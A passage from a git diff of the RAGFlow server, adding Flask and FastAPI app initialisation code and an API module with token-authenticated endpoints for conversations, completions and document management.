+app.json_encoder = CustomJSONEncoder +app.errorhandler(Exception)(server_error_response) + +## convince for dev and debug +# app.config["LOGIN_DISABLED"] = True +app.config["SESSION_PERMANENT"] = False +app.config["SESSION_TYPE"] = "filesystem" +app.config["MAX_CONTENT_LENGTH"] = int( + os.environ.get("MAX_CONTENT_LENGTH", 1024 * 1024 * 1024) +) + +Session(app) +login_manager = LoginManager() +login_manager.init_app(app) + +commands.register_commands(app) + + +def search_pages_path(pages_dir): + app_path_list = [ + path for path in pages_dir.glob("*_app.py") if not path.name.startswith(".") + ] + api_path_list = [ + path for path in pages_dir.glob("*sdk/*.py") if not path.name.startswith(".") + ] + app_path_list.extend(api_path_list) + return app_path_list + + +def register_page(page_path): + path = f"{page_path}" + + page_name = page_path.stem.removesuffix("_app") + module_name = ".".join( + page_path.parts[page_path.parts.index("api"): -1] + (page_name,) + ) + + spec = spec_from_file_location(module_name, page_path) + page = module_from_spec(spec) + page.app = app + page.manager = Blueprint(page_name, module_name) + sys.modules[module_name] = page + spec.loader.exec_module(page) + page_name = getattr(page, "page_name", page_name) + sdk_path = "\\sdk\\" if sys.platform.startswith("win") else "/sdk/" + url_prefix = ( + f"/api/{API_VERSION}" if sdk_path in path else f"/{API_VERSION}/{page_name}" + ) + + app.register_blueprint(page.manager, url_prefix=url_prefix) + return url_prefix + + +pages_dir = [ + Path(__file__).parent, + Path(__file__).parent.parent / "api" / "apps", + Path(__file__).parent.parent / "api" / "apps" / "sdk", +] + +client_urls_prefix = [ + register_page(path) for dir in pages_dir for path in search_pages_path(dir) +] + + +@login_manager.request_loader +def load_user(web_request): + jwt = Serializer(secret_key=settings.SECRET_KEY) + authorization = web_request.headers.get("Authorization") + if authorization: + try: + access_token = str(jwt.loads(authorization)) + + if not access_token or not access_token.strip(): + logging.warning("Authentication attempt with empty access token") + return None + + # Access tokens should be UUIDs (32 hex characters) + if len(access_token.strip()) < 32: + logging.warning(f"Authentication attempt with invalid token format: {len(access_token)} chars") + return None + + user = UserService.query( + access_token=access_token, status=StatusEnum.VALID.value + ) + if user: + if not user[0].access_token or not user[0].access_token.strip(): + logging.warning(f"User {user[0].email} has empty access_token in database") + return None + return user[0] + else: + return None + except Exception as e: + logging.warning(f"load_user got exception {e}") + return None + else: + return None + + +@app.teardown_request +def _db_close(exc): + close_connection() diff --git a/api/apps/__init___fastapi.py b/api/apps/__init___fastapi.py new file mode 100644 index 0000000..d3af198 --- /dev/null +++ b/api/apps/__init___fastapi.py @@ -0,0 +1,181 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import os +import sys +import logging +from importlib.util import module_from_spec, spec_from_file_location +from pathlib import Path +from fastapi import FastAPI +from fastapi.middleware.cors import CORSMiddleware +from fastapi.middleware.trustedhost import TrustedHostMiddleware +from starlette.middleware.sessions import SessionMiddleware +try: + from itsdangerous.url_safe import URLSafeTimedSerializer as Serializer +except ImportError: + # 如果没有itsdangerous，使用jwt作为替代 + import jwt + Serializer = jwt + +from api.db import StatusEnum +from api.db.db_models import close_connection +from api.db.services import UserService +from api.utils.json import CustomJSONEncoder +from api.utils import commands + +from api import settings +from api.utils.api_utils import server_error_response +from api.constants import API_VERSION + +__all__ = ["app"] + +def create_app() -> FastAPI: + """创建FastAPI应用实例""" + app = FastAPI( + title="RAGFlow API", + description="RAGFlow API Server", + version="1.0.0", + docs_url="/apidocs/", + redoc_url="/redoc/", + openapi_url="/apispec.json" + ) + + # 添加CORS中间件 + app.add_middleware( + CORSMiddleware, + allow_origins=["*"], # 生产环境中应该设置具体的域名 + allow_credentials=True, + allow_methods=["*"], + allow_headers=["*"], + max_age=2592000 + ) + + # 添加信任主机中间件 + app.add_middleware( + TrustedHostMiddleware, + allowed_hosts=["*"] # 生产环境中应该设置具体的域名 + ) + + # 添加会话中间件 + app.add_middleware( + SessionMiddleware, + secret_key=settings.SECRET_KEY, + max_age=2592000 + ) + + # 设置错误处理器 + @app.exception_handler(Exception) + async def global_exception_handler(request, exc): + return server_error_response(exc) + + return app + +def search_pages_path(pages_dir): + """搜索页面路径""" + app_path_list = [ + path for path in pages_dir.glob("*_app_fastapi.py") if not path.name.startswith(".") + ] + api_path_list = [ + path for path in pages_dir.glob("*sdk/*.py") if not path.name.startswith(".") + ] + app_path_list.extend(api_path_list) + return app_path_list + +def register_page(app: FastAPI, page_path): + """注册页面路由""" + path = f"{page_path}" + + page_name = page_path.stem.removesuffix("_app_fastapi") + module_name = ".".join( + page_path.parts[page_path.parts.index("api"): -1] + (page_name,) + ) + + spec = spec_from_file_location(module_name, page_path) + page = module_from_spec(spec) + page.app = app + page.router = None # FastAPI使用router而不是Blueprint + sys.modules[module_name] = page + spec.loader.exec_module(page) + page_name = getattr(page, "page_name", page_name) + sdk_path = "\\sdk\\" if sys.platform.startswith("win") else "/sdk/" + url_prefix = ( + f"/api/{API_VERSION}" if sdk_path in path else f"/{API_VERSION}/{page_name}" + ) + + # 在FastAPI中，我们需要检查是否有router属性 + if hasattr(page, 'router') and page.router: + app.include_router(page.router, prefix=url_prefix) + return url_prefix + +def setup_routes(app: FastAPI): + """设置路由 - 注册所有接口""" + from api.apps.user_app_fastapi import router as user_router + from api.apps.kb_app import router as kb_router + from api.apps.document_app import router as document_router + from api.apps.file_app import router as file_router + from api.apps.file2document_app import router as file2document_router + + app.include_router(user_router, prefix=f"/{API_VERSION}/user", tags=["User"]) + app.include_router(kb_router, prefix=f"/{API_VERSION}/kb", tags=["KB"]) + app.include_router(document_router, prefix=f"/{API_VERSION}/document", tags=["Document"]) + app.include_router(file_router, prefix=f"/{API_VERSION}/file", tags=["File"]) + app.include_router(file2document_router, prefix=f"/{API_VERSION}/file2document", tags=["File2Document"]) + +def get_current_user_from_token(authorization: str): + """从token获取当前用户""" + jwt = Serializer(secret_key=settings.SECRET_KEY) + + if authorization: + try: + access_token = str(jwt.loads(authorization)) + + if not access_token or not access_token.strip(): + logging.warning("Authentication attempt with empty access token") + return None + + # Access tokens should be UUIDs (32 hex characters) + if len(access_token.strip()) < 32: + logging.warning(f"Authentication attempt with invalid token format: {len(access_token)} chars") + return None + + user = UserService.query( + access_token=access_token, status=StatusEnum.VALID.value + ) + if user: + if not user[0].access_token or not user[0].access_token.strip(): + logging.warning(f"User {user[0].email} has empty access_token in database") + return None + return user[0] + else: + return None + except Exception as e: + logging.warning(f"load_user got exception {e}") + return None + else: + return None + +# 创建应用实例 +app = create_app() + +@app.middleware("http") +async def db_close_middleware(request, call_next): + """数据库连接关闭中间件""" + try: + response = await call_next(request) + return response + finally: + close_connection() + +setup_routes(app) diff --git a/api/apps/api_app.py b/api/apps/api_app.py new file mode 100644 index 0000000..e71d123 --- /dev/null +++ b/api/apps/api_app.py @@ -0,0 +1,898 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import json +import os +import re +from datetime import datetime, timedelta +from flask import request, Response +from api.db.services.llm_service import LLMBundle +from flask_login import login_required, current_user + +from api.db import VALID_FILE_TYPES, VALID_TASK_STATUS, FileType, LLMType, ParserType, FileSource +from api.db.db_models import APIToken, Task, File +from api.db.services import duplicate_name +from api.db.services.api_service import APITokenService, API4ConversationService +from api.db.services.dialog_service import DialogService, chat +from api.db.services.document_service import DocumentService, doc_upload_and_parse +from api.db.services.file2document_service import File2DocumentService +from api.db.services.file_service import FileService +from api.db.services.knowledgebase_service import KnowledgebaseService +from api.db.services.task_service import queue_tasks, TaskService +from api.db.services.user_service import UserTenantService +from api import settings +from api.utils import get_uuid, current_timestamp, datetime_format +from api.utils.api_utils import server_error_response, get_data_error_result, get_json_result, validate_request, \ + generate_confirmation_token + +from api.utils.file_utils import filename_type, thumbnail +from rag.app.tag import label_question +from rag.prompts.generator import keyword_extraction +from rag.utils.storage_factory import STORAGE_IMPL + +from api.db.services.canvas_service import UserCanvasService +from agent.canvas import Canvas +from functools import partial +from pathlib import Path + + +@manager.route('/new_token', methods=['POST']) # noqa: F821 +@login_required +def new_token(): + req = request.json + try: + tenants = UserTenantService.query(user_id=current_user.id) + if not tenants: + return get_data_error_result(message="Tenant not found!") + + tenant_id = tenants[0].tenant_id + obj = {"tenant_id": tenant_id, "token": generate_confirmation_token(tenant_id), + "create_time": current_timestamp(), + "create_date": datetime_format(datetime.now()), + "update_time": None, + "update_date": None + } + if req.get("canvas_id"): + obj["dialog_id"] = req["canvas_id"] + obj["source"] = "agent" + else: + obj["dialog_id"] = req["dialog_id"] + + if not APITokenService.save(**obj): + return get_data_error_result(message="Fail to new a dialog!") + + return get_json_result(data=obj) + except Exception as e: + return server_error_response(e) + + +@manager.route('/token_list', methods=['GET']) # noqa: F821 +@login_required +def token_list(): + try: + tenants = UserTenantService.query(user_id=current_user.id) + if not tenants: + return get_data_error_result(message="Tenant not found!") + + id = request.args["dialog_id"] if "dialog_id" in request.args else request.args["canvas_id"] + objs = APITokenService.query(tenant_id=tenants[0].tenant_id, dialog_id=id) + return get_json_result(data=[o.to_dict() for o in objs]) + except Exception as e: + return server_error_response(e) + + +@manager.route('/rm', methods=['POST']) # noqa: F821 +@validate_request("tokens", "tenant_id") +@login_required +def rm(): + req = request.json + try: + for token in req["tokens"]: + APITokenService.filter_delete( + [APIToken.tenant_id == req["tenant_id"], APIToken.token == token]) + return get_json_result(data=True) + except Exception as e: + return server_error_response(e) + + +@manager.route('/stats', methods=['GET']) # noqa: F821 +@login_required +def stats(): + try: + tenants = UserTenantService.query(user_id=current_user.id) + if not tenants: + return get_data_error_result(message="Tenant not found!") + objs = API4ConversationService.stats( + tenants[0].tenant_id, + request.args.get( + "from_date", + (datetime.now() - + timedelta( + days=7)).strftime("%Y-%m-%d 00:00:00")), + request.args.get( + "to_date", + datetime.now().strftime("%Y-%m-%d %H:%M:%S")), + "agent" if "canvas_id" in request.args else None) + res = { + "pv": [(o["dt"], o["pv"]) for o in objs], + "uv": [(o["dt"], o["uv"]) for o in objs], + "speed": [(o["dt"], float(o["tokens"]) / (float(o["duration"] + 0.1))) for o in objs], + "tokens": [(o["dt"], float(o["tokens"]) / 1000.) for o in objs], + "round": [(o["dt"], o["round"]) for o in objs], + "thumb_up": [(o["dt"], o["thumb_up"]) for o in objs] + } + return get_json_result(data=res) + except Exception as e: + return server_error_response(e) + + +@manager.route('/new_conversation', methods=['GET']) # noqa: F821 +def set_conversation(): + token = request.headers.get('Authorization').split()[1] + objs = APIToken.query(token=token) + if not objs: + return get_json_result( + data=False, message='Authentication error: API key is invalid!"', code=settings.RetCode.AUTHENTICATION_ERROR) + try: + if objs[0].source == "agent": + e, cvs = UserCanvasService.get_by_id(objs[0].dialog_id) + if not e: + return server_error_response("canvas not found.") + if not isinstance(cvs.dsl, str): + cvs.dsl = json.dumps(cvs.dsl, ensure_ascii=False) + canvas = Canvas(cvs.dsl, objs[0].tenant_id) + conv = { + "id": get_uuid(), + "dialog_id": cvs.id, + "user_id": request.args.get("user_id", ""), + "message": [{"role": "assistant", "content": canvas.get_prologue()}], + "source": "agent" + } + API4ConversationService.save(**conv) + return get_json_result(data=conv) + else: + e, dia = DialogService.get_by_id(objs[0].dialog_id) + if not e: + return get_data_error_result(message="Dialog not found") + conv = { + "id": get_uuid(), + "dialog_id": dia.id, + "user_id": request.args.get("user_id", ""), + "message": [{"role": "assistant", "content": dia.prompt_config["prologue"]}] + } + API4ConversationService.save(**conv) + return get_json_result(data=conv) + except Exception as e: + return server_error_response(e) + + +@manager.route('/completion', methods=['POST']) # noqa: F821 +@validate_request("conversation_id", "messages") +def completion(): + token = request.headers.get('Authorization').split()[1] + objs = APIToken.query(token=token) + if not objs: + return get_json_result( + data=False, message='Authentication error: API key is invalid!"', code=settings.RetCode.AUTHENTICATION_ERROR) + req = request.json + e, conv = API4ConversationService.get_by_id(req["conversation_id"]) + if not e: + return get_data_error_result(message="Conversation not found!") + if "quote" not in req: + req["quote"] = False + + msg = [] + for m in req["messages"]: + if m["role"] == "system": + continue + if m["role"] == "assistant" and not msg: + continue + msg.append(m) + if not msg[-1].get("id"): + msg[-1]["id"] = get_uuid() + message_id = msg[-1]["id"] + + def fillin_conv(ans): + nonlocal conv, message_id + if not conv.reference: + conv.reference.append(ans["reference"]) + else: + conv.reference[-1] = ans["reference"] + conv.message[-1] = {"role": "assistant", "content": ans["answer"], "id": message_id} + ans["id"] = message_id + + def rename_field(ans): + reference = ans['reference'] + if not isinstance(reference, dict): + return + for chunk_i in reference.get('chunks', []): + if 'docnm_kwd' in chunk_i: + chunk_i['doc_name'] = chunk_i['docnm_kwd'] + chunk_i.pop('docnm_kwd') + + try: + if conv.source == "agent": + stream = req.get("stream", True) + conv.message.append(msg[-1]) + e, cvs = UserCanvasService.get_by_id(conv.dialog_id) + if not e: + return server_error_response("canvas not found.") + del req["conversation_id"] + del req["messages"] + + if not isinstance(cvs.dsl, str): + cvs.dsl = json.dumps(cvs.dsl, ensure_ascii=False) + + if not conv.reference: + conv.reference = [] + conv.message.append({"role": "assistant", "content": "", "id": message_id}) + conv.reference.append({"chunks": [], "doc_aggs": []}) + + final_ans = {"reference": [], "content": ""} + canvas = Canvas(cvs.dsl, objs[0].tenant_id) + + canvas.messages.append(msg[-1]) + canvas.add_user_input(msg[-1]["content"]) + answer = canvas.run(stream=stream) + + assert answer is not None, "Nothing. Is it over?" + + if stream: + assert isinstance(answer, partial), "Nothing. Is it over?" + + def sse(): + nonlocal answer, cvs, conv + try: + for ans in answer(): + for k in ans.keys(): + final_ans[k] = ans[k] + ans = {"answer": ans["content"], "reference": ans.get("reference", [])} + fillin_conv(ans) + rename_field(ans) + yield "data:" + json.dumps({"code": 0, "message": "", "data": ans}, + ensure_ascii=False) + "\n\n" + + canvas.messages.append({"role": "assistant", "content": final_ans["content"], "id": message_id}) + canvas.history.append(("assistant", final_ans["content"])) + if final_ans.get("reference"): + canvas.reference.append(final_ans["reference"]) + cvs.dsl = json.loads(str(canvas)) + API4ConversationService.append_message(conv.id, conv.to_dict()) + except Exception as e: + yield "data:" + json.dumps({"code": 500, "message": str(e), + "data": {"answer": "**ERROR**: " + str(e), "reference": []}}, + ensure_ascii=False) + "\n\n" + yield "data:" + json.dumps({"code": 0, "message": "", "data": True}, ensure_ascii=False) + "\n\n" + + resp = Response(sse(), mimetype="text/event-stream") + resp.headers.add_header("Cache-control", "no-cache") + resp.headers.add_header("Connection", "keep-alive") + resp.headers.add_header("X-Accel-Buffering", "no") + resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8") + return resp + + final_ans["content"] = "\n".join(answer["content"]) if "content" in answer else "" + canvas.messages.append({"role": "assistant", "content": final_ans["content"], "id": message_id}) + if final_ans.get("reference"): + canvas.reference.append(final_ans["reference"]) + cvs.dsl = json.loads(str(canvas)) + + result = {"answer": final_ans["content"], "reference": final_ans.get("reference", [])} + fillin_conv(result) + API4ConversationService.append_message(conv.id, conv.to_dict()) + rename_field(result) + return get_json_result(data=result) + + # ******************For dialog****************** + conv.message.append(msg[-1]) + e, dia = DialogService.get_by_id(conv.dialog_id) + if not e: + return get_data_error_result(message="Dialog not found!") + del req["conversation_id"] + del req["messages"] + + if not conv.reference: + conv.reference = [] + conv.message.append({"role": "assistant", "content": "", "id": message_id}) + conv.reference.append({"chunks": [], "doc_aggs": []}) + + def stream(): + nonlocal dia, msg, req, conv + try: + for ans in chat(dia, msg, True, **req): + fillin_conv(ans) + rename_field(ans) + yield "data:" + json.dumps({"code": 0, "message": "", "data": ans}, + ensure_ascii=False) + "\n\n" + API4ConversationService.append_message(conv.id, conv.to_dict()) + except Exception as e: + yield "data:" + json.dumps({"code": 500, "message": str(e), + "data": {"answer": "**ERROR**: " + str(e), "reference": []}}, + ensure_ascii=False) + "\n\n" + yield "data:" + json.dumps({"code": 0, "message": "", "data": True}, ensure_ascii=False) + "\n\n" + + if req.get("stream", True): + resp = Response(stream(), mimetype="text/event-stream") + resp.headers.add_header("Cache-control", "no-cache") + resp.headers.add_header("Connection", "keep-alive") + resp.headers.add_header("X-Accel-Buffering", "no") + resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8") + return resp + + answer = None + for ans in chat(dia, msg, **req): + answer = ans + fillin_conv(ans) + API4ConversationService.append_message(conv.id, conv.to_dict()) + break + rename_field(answer) + return get_json_result(data=answer) + + except Exception as e: + return server_error_response(e) + + +@manager.route('/conversation/', methods=['GET']) # noqa: F821 +# @login_required +def get_conversation(conversation_id): + token = request.headers.get('Authorization').split()[1] + objs = APIToken.query(token=token) + if not objs: + return get_json_result( + data=False, message='Authentication error: API key is invalid!"', code=settings.RetCode.AUTHENTICATION_ERROR) + + try: + e, conv = API4ConversationService.get_by_id(conversation_id) + if not e: + return get_data_error_result(message="Conversation not found!") + + conv = conv.to_dict() + if token != APIToken.query(dialog_id=conv['dialog_id'])[0].token: + return get_json_result(data=False, message='Authentication error: API key is invalid for this conversation_id!"', + code=settings.RetCode.AUTHENTICATION_ERROR) + + for referenct_i in conv['reference']: + if referenct_i is None or len(referenct_i) == 0: + continue + for chunk_i in referenct_i['chunks']: + if 'docnm_kwd' in chunk_i.keys(): + chunk_i['doc_name'] = chunk_i['docnm_kwd'] + chunk_i.pop('docnm_kwd') + return get_json_result(data=conv) + except Exception as e: + return server_error_response(e) + + +@manager.route('/document/upload', methods=['POST']) # noqa: F821 +@validate_request("kb_name") +def upload(): + token = request.headers.get('Authorization').split()[1] + objs = APIToken.query(token=token) + if not objs: + return get_json_result( + data=False, message='Authentication error: API key is invalid!"', code=settings.RetCode.AUTHENTICATION_ERROR) + + kb_name = request.form.get("kb_name").strip() + tenant_id = objs[0].tenant_id + + try: + e, kb = KnowledgebaseService.get_by_name(kb_name, tenant_id) + if not e: + return get_data_error_result( + message="Can't find this knowledgebase!") + kb_id = kb.id + except Exception as e: + return server_error_response(e) + + if 'file' not in request.files: + return get_json_result( + data=False, message='No file part!', code=settings.RetCode.ARGUMENT_ERROR) + + file = request.files['file'] + if file.filename == '': + return get_json_result( + data=False, message='No file selected!', code=settings.RetCode.ARGUMENT_ERROR) + + root_folder = FileService.get_root_folder(tenant_id) + pf_id = root_folder["id"] + FileService.init_knowledgebase_docs(pf_id, tenant_id) + kb_root_folder = FileService.get_kb_folder(tenant_id) + kb_folder = FileService.new_a_file_from_kb(kb.tenant_id, kb.name, kb_root_folder["id"]) + + try: + if DocumentService.get_doc_count(kb.tenant_id) >= int(os.environ.get('MAX_FILE_NUM_PER_USER', 8192)): + return get_data_error_result( + message="Exceed the maximum file number of a free user!") + + filename = duplicate_name( + DocumentService.query, + name=file.filename, + kb_id=kb_id) + filetype = filename_type(filename) + if not filetype: + return get_data_error_result( + message="This type of file has not been supported yet!") + + location = filename + while STORAGE_IMPL.obj_exist(kb_id, location): + location += "_" + blob = request.files['file'].read() + STORAGE_IMPL.put(kb_id, location, blob) + doc = { + "id": get_uuid(), + "kb_id": kb.id, + "parser_id": kb.parser_id, + "parser_config": kb.parser_config, + "created_by": kb.tenant_id, + "type": filetype, + "name": filename, + "location": location, + "size": len(blob), + "thumbnail": thumbnail(filename, blob), + "suffix": Path(filename).suffix.lstrip("."), + } + + form_data = request.form + if "parser_id" in form_data.keys(): + if request.form.get("parser_id").strip() in list(vars(ParserType).values())[1:-3]: + doc["parser_id"] = request.form.get("parser_id").strip() + if doc["type"] == FileType.VISUAL: + doc["parser_id"] = ParserType.PICTURE.value + if doc["type"] == FileType.AURAL: + doc["parser_id"] = ParserType.AUDIO.value + if re.search(r"\.(ppt|pptx|pages)$", filename): + doc["parser_id"] = ParserType.PRESENTATION.value + if re.search(r"\.(eml)$", filename): + doc["parser_id"] = ParserType.EMAIL.value + + doc_result = DocumentService.insert(doc) + FileService.add_file_from_kb(doc, kb_folder["id"], kb.tenant_id) + except Exception as e: + return server_error_response(e) + + if "run" in form_data.keys(): + if request.form.get("run").strip() == "1": + try: + info = {"run": 1, "progress": 0} + info["progress_msg"] = "" + info["chunk_num"] = 0 + info["token_num"] = 0 + DocumentService.update_by_id(doc["id"], info) + # if str(req["run"]) == TaskStatus.CANCEL.value: + tenant_id = DocumentService.get_tenant_id(doc["id"]) + if not tenant_id: + return get_data_error_result(message="Tenant not found!") + + # e, doc = DocumentService.get_by_id(doc["id"]) + TaskService.filter_delete([Task.doc_id == doc["id"]]) + e, doc = DocumentService.get_by_id(doc["id"]) + doc = doc.to_dict() + doc["tenant_id"] = tenant_id + bucket, name = File2DocumentService.get_storage_address(doc_id=doc["id"]) + queue_tasks(doc, bucket, name, 0) + except Exception as e: + return server_error_response(e) + + return get_json_result(data=doc_result.to_json()) + + +@manager.route('/document/upload_and_parse', methods=['POST']) # noqa: F821 +@validate_request("conversation_id") +async def upload_parse(): + token = request.headers.get('Authorization').split()[1] + objs = APIToken.query(token=token) + if not objs: + return get_json_result( + data=False, message='Authentication error: API key is invalid!"', code=settings.RetCode.AUTHENTICATION_ERROR) + + if 'file' not in request.files: + return get_json_result( + data=False, message='No file part!', code=settings.RetCode.ARGUMENT_ERROR) + + file_objs = request.files.getlist('file') + for file_obj in file_objs: + if file_obj.filename == '': + return get_json_result( + data=False, message='No file selected!', code=settings.RetCode.ARGUMENT_ERROR) + + doc_ids = await doc_upload_and_parse(request.form.get("conversation_id"), file_objs, objs[0].tenant_id) + return get_json_result(data=doc_ids) + + +@manager.route('/list_chunks', methods=['POST']) # noqa: F821 +# @login_required +def list_chunks(): + token = request.headers.get('Authorization').split()[1] + objs = APIToken.query(token=token) + if not objs: + return get_json_result( + data=False, message='Authentication error: API key is invalid!"', code=settings.RetCode.AUTHENTICATION_ERROR) + + req = request.json + + try: + if "doc_name" in req.keys(): + tenant_id = DocumentService.get_tenant_id_by_name(req['doc_name']) + doc_id = DocumentService.get_doc_id_by_doc_name(req['doc_name']) + + elif "doc_id" in req.keys(): + tenant_id = DocumentService.get_tenant_id(req['doc_id']) + doc_id = req['doc_id'] + else: + return get_json_result( + data=False, message="Can't find doc_name or doc_id" + ) + kb_ids = KnowledgebaseService.get_kb_ids(tenant_id) + + res = settings.retrievaler.chunk_list(doc_id, tenant_id, kb_ids) + res = [ + { + "content": res_item["content_with_weight"], + "doc_name": res_item["docnm_kwd"], + "image_id": res_item["img_id"] + } for res_item in res + ] + + except Exception as e: + return server_error_response(e) + + return get_json_result(data=res) + +@manager.route('/get_chunk/', methods=['GET']) # noqa: F821 +# @login_required +def get_chunk(chunk_id): + from rag.nlp import search + token = request.headers.get('Authorization').split()[1] + objs = APIToken.query(token=token) + if not objs: + return get_json_result( + data=False, message='Authentication error: API key is invalid!"', code=settings.RetCode.AUTHENTICATION_ERROR) + try: + tenant_id = objs[0].tenant_id + kb_ids = KnowledgebaseService.get_kb_ids(tenant_id) + chunk = settings.docStoreConn.get(chunk_id, search.index_name(tenant_id), kb_ids) + if chunk is None: + return server_error_response(Exception("Chunk not found")) + k = [] + for n in chunk.keys(): + if re.search(r"(_vec$|_sm_|_tks|_ltks)", n): + k.append(n) + for n in k: + del chunk[n] + + return get_json_result(data=chunk) + except Exception as e: + return server_error_response(e) + +@manager.route('/list_kb_docs', methods=['POST']) # noqa: F821 +# @login_required +def list_kb_docs(): + token = request.headers.get('Authorization').split()[1] + objs = APIToken.query(token=token) + if not objs: + return get_json_result( + data=False, message='Authentication error: API key is invalid!"', code=settings.RetCode.AUTHENTICATION_ERROR) + + req = request.json + tenant_id = objs[0].tenant_id + kb_name = req.get("kb_name", "").strip() + + try: + e, kb = KnowledgebaseService.get_by_name(kb_name, tenant_id) + if not e: + return get_data_error_result( + message="Can't find this knowledgebase!") + kb_id = kb.id + + except Exception as e: + return server_error_response(e) + + page_number = int(req.get("page", 1)) + items_per_page = int(req.get("page_size", 15)) + orderby = req.get("orderby", "create_time") + desc = req.get("desc", True) + keywords = req.get("keywords", "") + status = req.get("status", []) + if status: + invalid_status = {s for s in status if s not in VALID_TASK_STATUS} + if invalid_status: + return get_data_error_result( + message=f"Invalid filter status conditions: {', '.join(invalid_status)}" + ) + types = req.get("types", []) + if types: + invalid_types = {t for t in types if t not in VALID_FILE_TYPES} + if invalid_types: + return get_data_error_result( + message=f"Invalid filter conditions: {', '.join(invalid_types)} type{'s' if len(invalid_types) > 1 else ''}" + ) + try: + docs, tol = DocumentService.get_by_kb_id( + kb_id, page_number, items_per_page, orderby, desc, keywords, status, types) + docs = [{"doc_id": doc['id'], "doc_name": doc['name']} for doc in docs] + + return get_json_result(data={"total": tol, "docs": docs}) + + except Exception as e: + return server_error_response(e) + + +@manager.route('/document/infos', methods=['POST']) # noqa: F821 +@validate_request("doc_ids") +def docinfos(): + token = request.headers.get('Authorization').split()[1] + objs = APIToken.query(token=token) + if not objs: + return get_json_result( + data=False, message='Authentication error: API key is invalid!"', code=settings.RetCode.AUTHENTICATION_ERROR) + req = request.json + doc_ids = req["doc_ids"] + docs = DocumentService.get_by_ids(doc_ids) + return get_json_result(data=list(docs.dicts())) + + +@manager.route('/document', methods=['DELETE']) # noqa: F821 +# @login_required +def document_rm(): + token = request.headers.get('Authorization').split()[1] + objs = APIToken.query(token=token) + if not objs: + return get_json_result( + data=False, message='Authentication error: API key is invalid!"', code=settings.RetCode.AUTHENTICATION_ERROR) + + tenant_id = objs[0].tenant_id + req = request.json + try: + doc_ids = DocumentService.get_doc_ids_by_doc_names(req.get("doc_names", [])) + for doc_id in req.get("doc_ids", []): + if doc_id not in doc_ids: + doc_ids.append(doc_id) + + if not doc_ids: + return get_json_result( + data=False, message="Can't find doc_names or doc_ids" + ) + + except Exception as e: + return server_error_response(e) + + root_folder = FileService.get_root_folder(tenant_id) + pf_id = root_folder["id"] + FileService.init_knowledgebase_docs(pf_id, tenant_id) + + errors = "" + docs = DocumentService.get_by_ids(doc_ids) + doc_dic = {} + for doc in docs: + doc_dic[doc.id] = doc + + for doc_id in doc_ids: + try: + if doc_id not in doc_dic: + return get_data_error_result(message="Document not found!") + doc = doc_dic[doc_id] + tenant_id = DocumentService.get_tenant_id(doc_id) + if not tenant_id: + return get_data_error_result(message="Tenant not found!") + + b, n = File2DocumentService.get_storage_address(doc_id=doc_id) + + if not DocumentService.remove_document(doc, tenant_id): + return get_data_error_result( + message="Database error (Document removal)!") + + f2d = File2DocumentService.get_by_document_id(doc_id) + FileService.filter_delete([File.source_type == FileSource.KNOWLEDGEBASE, File.id == f2d[0].file_id]) + File2DocumentService.delete_by_document_id(doc_id) + + STORAGE_IMPL.rm(b, n) + except Exception as e: + errors += str(e) + + if errors: + return get_json_result(data=False, message=errors, code=settings.RetCode.SERVER_ERROR) + + return get_json_result(data=True) + + +@manager.route('/completion_aibotk', methods=['POST']) # noqa: F821 +@validate_request("Authorization", "conversation_id", "word") +def completion_faq(): + import base64 + req = request.json + + token = req["Authorization"] + objs = APIToken.query(token=token) + if not objs: + return get_json_result( + data=False, message='Authentication error: API key is invalid!"', code=settings.RetCode.AUTHENTICATION_ERROR) + + e, conv = API4ConversationService.get_by_id(req["conversation_id"]) + if not e: + return get_data_error_result(message="Conversation not found!") + if "quote" not in req: + req["quote"] = True + + msg = [] + msg.append({"role": "user", "content": req["word"]}) + if not msg[-1].get("id"): + msg[-1]["id"] = get_uuid() + message_id = msg[-1]["id"] + + def fillin_conv(ans): + nonlocal conv, message_id + if not conv.reference: + conv.reference.append(ans["reference"]) + else: + conv.reference[-1] = ans["reference"] + conv.message[-1] = {"role": "assistant", "content": ans["answer"], "id": message_id} + ans["id"] = message_id + + try: + if conv.source == "agent": + conv.message.append(msg[-1]) + e, cvs = UserCanvasService.get_by_id(conv.dialog_id) + if not e: + return server_error_response("canvas not found.") + + if not isinstance(cvs.dsl, str): + cvs.dsl = json.dumps(cvs.dsl, ensure_ascii=False) + + if not conv.reference: + conv.reference = [] + conv.message.append({"role": "assistant", "content": "", "id": message_id}) + conv.reference.append({"chunks": [], "doc_aggs": []}) + + final_ans = {"reference": [], "doc_aggs": []} + canvas = Canvas(cvs.dsl, objs[0].tenant_id) + + canvas.messages.append(msg[-1]) + canvas.add_user_input(msg[-1]["content"]) + answer = canvas.run(stream=False) + + assert answer is not None, "Nothing. Is it over?" + + data_type_picture = { + "type": 3, + "url": "base64 content" + } + data = [ + { + "type": 1, + "content": "" + } + ] + final_ans["content"] = "\n".join(answer["content"]) if "content" in answer else "" + canvas.messages.append({"role": "assistant", "content": final_ans["content"], "id": message_id}) + if final_ans.get("reference"): + canvas.reference.append(final_ans["reference"]) + cvs.dsl = json.loads(str(canvas)) + + ans = {"answer": final_ans["content"], "reference": final_ans.get("reference", [])} + data[0]["content"] += re.sub(r'##\d\$\$', '', ans["answer"]) + fillin_conv(ans) + API4ConversationService.append_message(conv.id, conv.to_dict()) + + chunk_idxs = [int(match[2]) for match in re.findall(r'##\d\$\$', ans["answer"])] + for chunk_idx in chunk_idxs[:1]: + if ans["reference"]["chunks"][chunk_idx]["img_id"]: + try: + bkt, nm = ans["reference"]["chunks"][chunk_idx]["img_id"].split("-") + response = STORAGE_IMPL.get(bkt, nm) + data_type_picture["url"] = 